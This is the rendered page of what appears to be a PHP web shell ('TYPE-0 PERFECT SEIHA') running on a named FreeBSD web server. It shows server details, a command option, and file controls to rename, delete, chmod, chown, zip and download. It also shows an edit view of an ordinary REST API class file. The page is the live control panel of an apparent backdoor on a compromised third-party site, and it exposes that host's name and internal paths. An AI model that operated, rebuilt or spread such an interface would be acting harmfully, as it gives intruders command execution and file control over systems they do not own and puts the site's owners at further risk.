TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
app
RestApi
src
Core
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/app/RestApi/src/Core/Page.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Japos\Rest\ApiGen\Core; use Nette\MemberAccessException; use Nette\Reflection\AnnotationsParser; use RestServer\IRoute; use Nette\Reflection\Method; /** * Page * @author Jan Pospisil */ class Page extends \Nette\Object { private $route; private $class; private $annotations; public function __construct(IRoute $route){ $this->route = $route; $this->class = new ClassType($route->className); } public function getDescription(){ return $this->class->getDescription(); } public function getMethod(){ return $this->route->getMethod(); } public function getPath(){ return $this->route->path; } public function getParameters(){ $annotation = $this->getAll(); $return = array(); if(isset($annotation['param'])){ foreach($annotation['param'] as $value){ $return[] = new Parameter($value); } } return $return; } private function getAll(){ if(!$this->annotations){ $this->annotations = AnnotationsParser::getAll($this->class); } return $this->annotations; } public function getReturnExample(){ try{ return call_user_func(array($this->route->className, 'getReturnExample')); } catch(\ReflectionException $e){ } catch(MemberAccessException $e){ } } }
Crotin
Name
Size
Permissions
Modified
User/Group
page.latte
2090
0644
2016-03-05 11:29:28
Unknown/Unknown
PageRenderer.php
1501
0644
2016-03-05 11:29:27
Unknown/Unknown
PageLoader.php
878
0644
2016-03-05 11:29:27
Unknown/Unknown
ClassType.php
469
0644
2016-03-05 11:29:27
Unknown/Unknown
Page.php
1308
0644
2016-03-05 11:29:27
Unknown/Unknown
FileCreator.php
553
0644
2016-03-05 11:29:27
Unknown/Unknown
Parameter.php
513
0644
2016-03-05 11:29:27
Unknown/Unknown
homepage.latte
1576
0644
2016-03-05 11:29:28
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin